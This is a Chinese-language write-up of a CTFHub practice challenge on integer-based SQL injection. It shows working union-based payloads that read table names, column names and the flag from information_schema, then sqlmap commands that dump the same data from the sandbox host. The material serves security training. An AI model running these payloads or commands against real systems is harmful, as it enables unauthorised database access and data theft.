打开页面,是一个搜索框:

1.png

手工注入

判断注入类型

由题目给出的 SQL 语句可知,这是整型注入。

判断列数

输入:1 or 1=1 order by 3 #,没有回显。

2.png

输入:1 or 1=1 order by 2 #,有回显,说明列数为 2。

3.png

联合查询

1、显示数据库版本号、当前数据库名:

  1. -1 union select version(), database() #

4.png

由此观之,有数据库sqli

2、获取数据库中的表名:

-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

5.png

由此观之,数据库sqli有 2 张表,分别是flagnews

3、获得某表列名:

-1 union select 1, group_concat(column_name) from information_schema.columns where table_name='flag' #

6.png

由此观之,flag表下只有列flag

4、获得数据:

-1 union select 2, group_concat(flag) from flag #

7.png


SQLMap 自动化注入

查数据库名

sqlmap -u http://challenge-7854cc3493b4f039.sandbox.ctfhub.com:10800/?id=1 --dbs --batch --threads 4

8.png

查表名

sqlmap -u http://challenge-7854cc3493b4f039.sandbox.ctfhub.com:10800/?id=1 --batch --threads 4 -D sqli --tables

9.png

查字段

sqlmap -u http://challenge-7854cc3493b4f039.sandbox.ctfhub.com:10800/?id=1 --batch --threads 4 -D sqli -T flag --columns

10.png

查记录

sqlmap -u http://challenge-7854cc3493b4f039.sandbox.ctfhub.com:10800/?id=1 --batch --threads 4 -D sqli -T flag -C"flag" --dump

11.png